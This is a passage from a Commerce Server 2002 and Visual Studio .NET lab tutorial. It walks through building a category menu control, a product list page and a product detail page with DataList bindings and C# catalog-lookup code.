4 | Product Detail | ProductDetail.aspx | Displays detailed information about the product and the product variants.

Note

  • In this step you will be adding label and DataList objects on to a Web User Control page. These objects are automatically arranged along the left-hand side in flow-layout mode. The Web form objects should be placed one above the other, alternating with first the label and then the DataList. The DataList should be slightly indented using a couple of spaces at the beginning of the line. You will be using it as a menu/navigation aid off of the default page, and the text values on the labels will be set programmatically later in this step.

In this step you will do the following:

  1. Add controls to display categories.
  2. Create DataList item templates.
  3. Create hyperlinks for the DataList items.
  4. Populate controls from Commerce Server data.
  5. Add the Web User control to the Default page.

To add controls to display categories

To create DataList item templates

To create hyperlinks for the DataList items

To populate controls from Commerce Server data

To add the Web User control to the Default page

To add controls to display categories

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web User Control.
  5. In the Add New Item - NorthwindTraders dialog box, in the Name box, type _Menu.ascx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.ascx window, click View on the toolbar, and then click Toolbox.
  7. In the Toolbox window, in the Web Forms section, drag and drop a Label object onto the form.
  8. In the Properties window, make sure the object you just created is selected, and then in the ID box, type sidingTypeLabel.
  9. In the Toolbox window, in the Web Forms, drag and drop the DataList object onto the form.
  10. Make sure the DataList object is indented under the previous label object.
  11. In the Properties window, make sure the object you just created is selected, and then in the ID box, type sidingTypeDataList.
  12. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.ascx window, click View on the toolbar, and then click Toolbox.
  13. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the form.
  14. In the Properties window, make sure the object you just created is selected, and then in the ID box, type sidingMainFreeLabel.
  15. In the Toolbox window, in the Web Forms, drag and drop DataList object onto the form.
  16. Make sure the DataList object is indented under the previous label object.
  17. In the Properties window, make sure the object you just created is selected, and then in the ID box, type sidingMainFreeDataList.
  18. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.ascx window, click View on the toolbar, and then click Toolbox.
  19. In the Toolbox window, in the Web Forms section, drag and drop a Label object onto the form.
  20. In the Properties window, make sure the object you just created is selected, and then in the ID box, type electricLabel.
  21. In the Toolbox window, in the Web Forms, drag and drop a DataList object onto the form.
  22. Make sure that the DataList object is indented under the previous label object.
  23. In the Properties window, make sure the object you just created is selected, and then in the ID box, type electricDataList.

    Notes

    • The item-template is a pre-arranged set of controls used to display content for a given row in a dataset. For example, you can display a product with a picture right next to it. For each DataList object, you add a Hyper-Link to each of the DataList.

Now you will populate the DataList controls with the item-template content that will be displayed to the user.

To create DataList item templates

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.ascx window, right-click the sidingTypeDataList, select Edit Template, and then click Item Templates.
  2. Click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms, drag and drop a Hyperlink object onto the Item Template section of the DataList control.
  4. In the Properties window, make sure the control you just created is selected, and then in the ID box, type sidingTypeLink.
  5. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  6. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Category definitions, expand Common Properties, and then select Display Name.
    Formatted Form | Select this option to get the DataBinder.Eval(), or formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression.

    Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "DisplayName")
  7. Click Copy and then click Close.
  8. Click the HyperLink control in the Item Templates section.
  9. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  10. In the sidingTypeLink Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to indicate that you want to edit the DataBinding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click on editing box, and then click Paste to create the following expression: DataBinder.Eval(Container.DataItem, "DisplayName").
  11. Click OK.
  12. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  13. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that Catalog System is selected.
    Data Source tree view | Expand Catalog System, expand Category definitions, expand Common Properties, and then select Category Name.
    Formatted Form | Select this option to get the DataBinder.Eval() expression, or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression, and then do the following:
    • Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "CategoryName").
    • In the expression, after CategoryName, but before the parenthesis, add a comma ",", and then add the following text: "ProductList.aspx?CategoryID={0}" (Be sure to include the quotation marks.)
    • The expression should look like the following:

      DataBinder.Eval(Container.DataItem, "CategoryName", "ProductList.aspx?CategoryID={0}")

  14. Click Copy and then click Close.
  15. Click the HyperLink control in the Item Templates section.
  16. In the Properties window, select the Databindings check box, and then click the ellipsis [...] button.
  17. In the sidingTypeLink Databindings dialog box, do the following:
    Use this | To do this
    NavigateUrl | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "CategoryName", "ProductList.aspx?CategoryID={0}").
  18. Click OK.
  19. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.ascx window, right-click the sidingTypeDataList, and then click End Template Editing.

Now you will add HyperLink controls and use Databinding expressions for both sidingMaingFreeDataList and electricDataList.

To create hyperlinks for the DataList items

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.ascx window, right-click the sidingMainFreeDataList, select Edit Template, and then click Item Templates.
  2. Click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms, drag and drop a Hyperlink object onto the Item Template section of the DataList control.
  4. In the Properties window, make sure the control you just created is selected, and then in the ID box, type sidingMainFreeLink.
  5. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  6. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Category definitions, expand Common Properties, and then select Display Name.
    Formatted Form | Select this option to get the DataBinder.Eval() expression, or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression.

    Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "DisplayName")
  7. Click Copy and then click Close.
  8. Click the HyperLink control in the Item Templates section.
  9. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  10. In the sidingMainFreeLink Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "DisplayName").
  11. Click OK.
  12. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  13. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source tree view | Expand Catalog System, expand Category definitions, expand Common Properties, and then select Category Name.
    Formatted Form | Select this option to get the DataBinder.Eval() expression, or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression, and then do the following:
    • Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "CategoryName").
    • In the expression, after CategoryName, but before the parenthesis, add a comma ",", and add the following text: "ProductList.aspx?CategoryID={0}" (Be sure to include the quotation marks.)
    • The expression should look like the following:

      DataBinder.Eval(Container.DataItem, "CategoryName", "ProductList.aspx?CategoryID={0}").

  14. Click Copy and then click Close.
  15. Click the HyperLink control in the Item Templates section.
  16. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  17. In the sidingMainFreeLink Databindings dialog box, do the following:
    Use this | To do this
    NavigateUrl | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "CategoryName", "ProductList.aspx?CategoryID={0}").
  18. Click OK.
  19. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.ascx window, right-click sidingMainFreeDataList, and then click End Template Editing.
  20. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.ascx window, right-click electricDataList, select Edit Template, and then click Item Templates.
  21. Click View on the toolbar, and then click Toolbox.
  22. In the Toolbox window, in the Web Forms, drag and drop a Hyperlink object onto the Item Template section of the DataList control.
  23. In the Properties window, make sure the control you just created is selected, and then in the ID box, type electricLink.
  24. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  25. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Category definitions, expand Common Properties, and then select Display Name.
    Formatted Form | Select this option to get the DataBinder.Eval() expression, or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression.

    Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "DisplayName")
  26. Click Copy and then click Close.
  27. Click the HyperLink control in the Item Templates section.
  28. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  29. In the electricLink Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item option from the Bindable Properties list.
    Custom binding expression Select this to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "DisplayName").
  30. Click OK.
  31. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  32. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Category definitions, expand Common Properties, and then select Category Name.
    Formatted Form | Select this option to get the DataBinder.Eval() expression, or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression, and then do the following:
    • Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "CategoryName").
    • In the expression, after CategoryName, but before the parenthesis, add a comma ",", and add the following text: "ProductList.aspx?CategoryID={0}" (Be sure to include the quotations marks.)
    • The expression should look like the following:

      DataBinder.Eval(Container.DataItem, "CategoryName", "ProductList.aspx?CategoryID={0}").

  33. Click Copy and then click Close.
  34. Click the HyperLink control in the Item Templates section.
  35. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  36. In the electricLink Databindings dialog box, do the following:
    Use this | To do this
    NavigateUrl | Select this item from the Bindable Properties list.
    Custom binding expression Select this option edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "CategoryName", "ProductList.aspx?CategoryID={0}").
  37. Click OK.
  38. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.ascx window, right-click electricDataList, and then click End Template Editing.

Note

  • After you have created DataList controls, you initiate the DataBind control whenever the page is loaded. We will now link the DataLink controls to their respective data in the Page_Load() event handler.

To populate controls from Commerce Server data

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.ascx.cs window, in the using section, add the following code:
    using System.Web.UI;
using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using System.Diagnostics;
  2. Add the following code in the Page_Load() event handler to initialize controls on the Web form with their respective data:
    ProductCatalog catalog = CommerceContext.Current.CatalogSystem.GetCatalog("BuildingMaterials1033");
if (!IsPostBack)
{
   // Set category name for lookup.  Note how commerce server builds a
   // path to the category name based upon the Base catalog it comes
   // from.
   string catName = "SidingType(ResidentialSiding)";

   // Extract the DataSet with the properties for the category in it.
   DataSet ds = catalog.GetCategory(catName).GetCategoryProperties();

   // Extract the category display name.
   sidingTypeLabel.Text = (string)ds.Tables[0].Rows[0]["DisplayName"];

   // Now, configure the sidingTypeDataList so that it will pull
   // the correct fields to populate it and then initiate a bind on it.
   sidingTypeDataList.DataSource = catalog.GetCategory(catName).GetChildCategories();
   sidingTypeDataList.DataBind();

   // Do it again for the MaintenanceFree category header.
   catName = "MaintenanceFree(ResidentialSiding)";
   ds = catalog.GetCategory(catName).GetCategoryProperties();
   sidingMainFreeLabel.Text = (string)ds.Tables[0].Rows[0]["DisplayName"];

   sidingMainFreeDataList.DataSource = catalog.GetCategory(catName).GetChildCategories();
   sidingMainFreeDataList.DataBind();

   // Do it again for the Electrical category header.
   catName = "ElectricProducts(Electrical)";
   ds = catalog.GetCategory(catName).GetCategoryProperties();
   electricLabel.Text = (string)ds.Tables[0].Rows[0]["DisplayName"];

   electricDataList.DataSource = catalog.GetCategory(catName).GetChildCategories();
   electricDataList.DataBind();
}

To add the Web User control to the Default page

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _Menu.ascx window, in the Solution Explorer window, double-click Default.aspx, and then drag and drop the _Menu.ascx page onto the default Web page.
  2. Right-click the Default.aspx page, and then click Set as Start Page.
  3. Click F5 to run your project.

Notes

  • The links are not functioning currently; we will fix them in the next exercise.
  • If you receive an error about not being able to reformat the page because of a line number, ignore it.


Step 10: Implement Product Drill-down

After you have implemented product category drill-down functionality, you add the product drill-down functionality to display the product hierarchy to users on your Web site.

In this step you will create a Web Form and DataList items with bindings to retrieve dynamic data from the Commerce Server catalog database.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type ProductList.aspx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – ProductList.aspx window, click View on the toolbar, and then click Toolbox.
  7. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the form.
  8. In the Properties window, make sure the object you just created is selected, and then in the ID box, type categoryNameLabel.
  9. In the Toolbox window, in the Web Forms, drag and drop DataList object onto the form.
  10. In the Properties window, make sure the object you just created is selected, and then in the ID box, type productDataList.
  11. Right-click productDataList, select Edit Template, and then click Item Templates.
  12. Click View on the toolbar, and then click Toolbox.
  13. In the Toolbox window, in the Web Forms, drag and drop an Image object onto the Item Template section of the DataList control.
  14. In the Properties window, make sure the object you just created is selected, and then in the ID box, type productImage.
  15. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  16. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Catalogs, expand BuildingMaterials1033, and then select Image.
    Formatted Form | Select this option to get the expression DataBinder.Eval(), or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression.

    Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem,"Image").
  17. Click Copy and then click Close.
  18. Click the Image object in the Item Templates section.
  19. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  20. In the productLink Databindings dialog box, do the following:
    Use this | To do this
    ImageUrl | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem,"Image").
  21. Click OK.
  22. Click the Image object in the Item Templates section.
  23. In the Properties window, do the following:
    Use this | To do this
    Height | Type 63.
    Width | Type 47.
  24. Click View on the toolbar, and then click Toolbox.
  25. In the Toolbox window, in the Web Forms, drag and drop a Hyperlink object onto the Item Template section of the DataList control.
  26. In the Properties window, make sure you the control you just created is selected, and then in the ID box, type productLink.
  27. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  28. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Catalogs, expand BuildingMaterials1033, and then select Name.
    Formatted Form | Select this option to get the expression DataBinder.Eval(), or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression.

    Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "Name").
  29. Click Copy and then click Close.
  30. Click the HyperLink control in the Item Templates section.
  31. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  32. In the productLink Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "Name").
  33. Click OK.
  34. Click Project on the toolbar, point to Commerce Server Project, and then click Databinding Expression Builder.
  35. In the Commerce Server Databinding Expression Builder (NorthwindTraders) dialog box, do the following:
    Use this | To do this
    Data Source | Make sure that the Catalog System is selected.
    Data Source Tree View | Expand Catalog System, expand Catalogs, expand BuildingMaterials1033, and then select ProductID.
    Formatted Form | Select this option to get the DataBinder.Eval() expression, or the formatted form of the expression.
    Edit Expression Select this option to edit the Formatted Form of the expression, and then do the following:
    • Delete the characters "<,%,#, and >" from the expression so that it looks like: DataBinder.Eval(Container.DataItem, "ProductID").
    • In the expression, after CategoryName, but before the parenthesis, add a comma ",", and add the following text: "ProductDetail.aspx?ProductID={0}" (Be sure to include the quotation marks.)
    • The expression should look like the following:

    DataBinder.Eval(Container.DataItem, "ProductID"," ProductDetail.aspx?ProductID={0}" ).
  36. Click Copy and then click Close.
  37. Click the HyperLink control in the Item Templates section.
  38. In the Properties window, select the Databindings box, and then click the ellipsis [...] button.
  39. In the productLink Databindings dialog box, do the following:
    Use this | To do this
    NavigateUrl | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    Right-click the editing box, and then click Paste to get the following expression: DataBinder.Eval(Container.DataItem, "ProductID"," ProductDetail.aspx?ProductID={0}" ).
  40. Click OK.
  41. In the NorthwindTraders – Microsoft Visual C# .NET [design] – ProductList.aspx window, right-click productDataList, and then click End Template Editing.

    Note

    • After you have created the DataList controls, you initiate the DataBind whenever the page is loaded. We will now link the DataLink controls to their respective data in the Page_Load() event handler.
  42. In the NorthwindTraders – Microsoft Visual C# .NET [design] – ProductList.aspx.cs window, in the using section, add the following code:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using System.Diagnostics;
  43. Add the following code in the Page_Load() event handler to initialize controls on the Web form with their respective data:
    ProductCatalog catalog = CommerceContext.Current.CatalogSystem.GetCatalog("BuildingMaterials1033");
if (!IsPostBack)
{
   // Set category name for lookup.
   string catName = Request.Params["CategoryID"];

   // Extract the DataSet with the properties for the
   // category in it.
   DataSet ds = catalog.GetCategory(catName).GetCategoryProperties();

   // Extract the category display name.
   categoryNameLabel.Text = (string)ds.Tables[0].Rows[0]["DisplayName"];

   // Now, let's go find the products that are part of the category
   // we are currently trying to browse and initiate a databind.
   ds = catalog.GetCategory(catName).GetProducts();
   productDataList.DataSource = ds;
   productDataList.DataBind();
}

You should now have a product list, and can test the drill-down functionality.

Notes

  • On the ProductList.aspx page, you must have a parameter indicating the category to be displayed.
  • Leave the starting page set to the Default.aspx.


Step 11: Implement Product Detail Page

In this step you will create a page to display detailed information about a selected product including product variants such as multiple color selection for the selected siding.

You will create another Web Form, add controls, and assign properties to populate the controls from the Commerce Server 2002 catalog database.

You can either add item content to DataList/DataGrid/Repeater controls or manually populate the fields by extracting data from the dataset to display content on the Product Detail page. Label and image controls cannot be directly pointed to a data source and depend on their parent control for information.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type ProductDetail.aspx, and then click Open.
  6. Click View on the toolbar, and then click Toolbox.
  7. In the Toolbox window, in the Web Forms, drag and drop a DataList control onto the form.
  8. In the Properties window, make sure the control you just created is selected, and then in the ID property box type coreProdInfoDataList.
  9. Right-click coreProdInfoDataList, select Edit Template, and then click Item Templates.
  10. Click View on the toolbar, and then click Toolbox.
  11. In the Toolbox window, in the Web Forms, drag and drop an Image object onto the Item Template section of the DataList control.
  12. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type productImage.
    Height | Type 250.
    Width | Type 187
    (Databindings) | Click the ellipsis [...] button.
  13. In the productImage Databindings dialog box, do the following:
    Use this | To do this
    ImageUrl | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "Image").
  14. Click OK.
  15. Place the cursor next to the Image object in the Item Template section of the DataList control, press ENTER to add an additional line, and then type Name: .
  16. Click View on the toolbar, and then click Toolbox.
  17. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the Item Template section of the DataList control.
  18. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type nameLabel.
    (Databindings) | Click the ellipsis[...] button.
  19. In the productImage Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this to indicate that you want to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "Name").
  20. Click OK.
  21. Place the cursor next to the Label object in the Item Template section of the DataList control, press ENTER to add an additional line, and then type Price:.
  22. Click View on the toolbar, and then click Toolbox.
  23. In the Toolbox window, in the Web Forms section, drag and drop a Label object onto the Item Template section of the DataList control.
  24. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type priceLabel.
    (Databindings) | Click the ellipsis [...] button.
  25. In the productImage Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this option to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "cy_list_price","{0:c}").
  26. Click OK.
  27. Place the cursor next to the last Label object in the Item Template section of the DataList control, press Enter to add an additional line, and then type Description:.
  28. Click View on the toolbar, and then click Toolbox.
  29. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the Item Template section of the DataList control.
  30. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type descriptionLabel.
    (Databindings) | Click the ellipsis [...] button.
  31. In the productImage Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this to edit the DataBinding expression. You can use the editing box to create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "description").
  32. Click OK.
  33. Click View on the toolbar, and then click Toolbox.
  34. In the Toolbox window, in the Web Forms, drag and drop a DataList control onto the form.
  35. In the Properties window, make sure the control you just created is selected, and then in the ID property box type sidingProductInfoDataList.
  36. Right-click sidingProductInfoDataList, select Edit Template, and then click Item Templates.
  37. Place the cursor in the Item Template section of the DataList control, type Siding Information: ,press Enter to add an additional line, and then type Description:.
  38. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the Item Template section of the DataList control.
  39. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type sidingTypeLabel.
    (Databindings) | Click the ellipsis [...] button.
  40. In the sidingTypeLabel Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "SidingType").
  41. Click OK.
  42. Place the cursor next to the last Label object in the Item Template section of the DataList control, press Enter to add an additional line, type Maintenance Free?: , and then press ENTER again.
  43. Click View on the toolbar, and then click Toolbox.
  44. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the Item Template section of the DataList control.
  45. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type mainFreeLabel.
    (Databindings) | Click the ellipsis [...] button.
  46. In the mainFreeLabel Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this to edit the data binding expression. The editing box is enabled and you can create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "SidingMaintenanceFree").
  47. Click OK.
  48. Place the cursor next to the Label object in the Item Template section of the DataList control, press Enter to add an additional line, and then type Siding Warranty: .
  49. Click View on the toolbar, and then click Toolbox.
  50. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the Item Template section of the DataList control.
  51. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type sidingWarrantyLabel.
    (Databindings) | Click the ellipsis [...] button.
  52. In the sidingWarrantyLabel Databindings dialog box, do the following:
    Use this | To do this
    Text | Select this item from the Bindable Properties list.
    Custom binding expression Select this to edit the data binding expression. You can use the editing box to create a new expression or edit the one generated by the dialog box.

    In the editing box, type: DataBinder.Eval(Container.DataItem, "sidingWarrantyLengthYears").
  53. Click OK.
  54. Place the cursor next to the Label object in the Item Template section of the DataList control, press Enter to add an additional line, and then type Years .
  55. Right-click the DataList, and then click End Template Editing.
  56. Click View on the toolbar, and then click Toolbox.
  57. In the Toolbox window, in the Web Forms, drag and drop a Label object onto the form.
  58. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type sidingColorLabel.
    Text | Type siding Color: .
  59. In the Toolbox window, in the Web Forms, drag and drop a DropDownList object onto the form.
  60. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type sidingColorList
    DataTextField | Type SidingColor.
    DataValueField | Type SKU.
  61. In the Toolbox window, in the Web Forms list, drag and drop a Button object onto the form.
  62. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type addToCartBtn.
    Text | Type Add To Cart >>.
  63. Double-click the Add to Cart >> button.
  64. Add the following code to the _Click method:
    if (defName.Trim().ToLower().Equals("electrical"))
{
   Response.Redirect("AddToBasket.aspx?ProductID=" + prodId.Value);
}
else
{
   Response.Redirect("AddToBasket.aspx?ProductID=" +
            prodId.Value + "&SKU=" + sidingColorList.SelectedItem.Value);
}
  65. In the Solution Explorer window, click View Designer.
  66. Click View on the toolbar, and then click Toolbox.
  67. In the Toolbox window, in the HTML list, drag and drop a Hidden object onto the form.
  68. In the Properties window, make sure the object you just created is selected, and then in the ID property box type prodId.
  69. Right-click the page, and then click View HTML Source.
  70. In the html, locate the line <INPUT style="Z-INDEX........id="prodId">, and then add the runat attribute and set its value to server. (runat="server")
  71. Right-click on the page, and then select View Design.
  72. In the Solution Explorer window, click View Code.
  73. In the NorthwindTraders – Microsoft Visual C# .NET [design] – ProductDetail.aspx.cs window, in the using section, add the following code:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using System.Diagnostics;

In the public class ProductDetail : System.Web.UI.Page section, add the following protected variable:

protected string defName;
  74. In the Page_Load() method, add the following code:
    ProductCatalog catalog = CommerceContext.Current.CatalogSystem.GetCatalog("BuildingMaterials1033");

// Set product ID for lookup.
string prodName = Request.Params["ProductID"];
Product prod = catalog.GetProduct(prodName);

// Extract the DataSet with the properties for the
// category in it.
DataSet ds = prod.GetProductProperties();
// Extract the product definition.  If the definition matches our
// custom product definition (ResidentialSiding), we process one way.
// If it matches "Electrical" it is the one we imported from
// electrical.xml so process it as just having basic information.
defName = (string)ds.Tables[0].Rows[0]["DefinitionName"];
if (!IsPostBack)
{
   // We have to check and see what type of product we
   // are dealing with and enable fields on the form
   // accordingly.
   sidingProdInfoDataList.DataSource = null;
   coreProdInfoDataList.DataSource = ds;
   coreProdInfoDataList.DataBind();
   prodId.Value = (string)ds.Tables[0].Rows[0]["ProductID"];
   if (defName.Trim().ToLower().Equals("electrical"))
   {
      // An electrical product
      sidingProdInfoDataList.Visible = false;
      sidingColorLabel.Visible = false;
      sidingColorList.Visible = false;
   }
   else
   {
      // A siding product
      // Populate the siding-specific data
      // list with data.
      sidingProdInfoDataList.Visible = true;
      sidingProdInfoDataList.DataSource = ds;
      sidingProdInfoDataList.DataBind();
      sidingColorList.Visible = true;
      sidingColorLabel.Visible = true;
      sidingColorList.DataSource = prod.GetVariants();
      sidingColorList.DataBind();

   }
}


Lab 3: Implementing the Basket and Order Pipelines

In the lab you will learn how to configure Commerce Server 2002 pipeline components and create order basket, check-out, and order confirmation pages. After completing this lab you will be able to do the following:

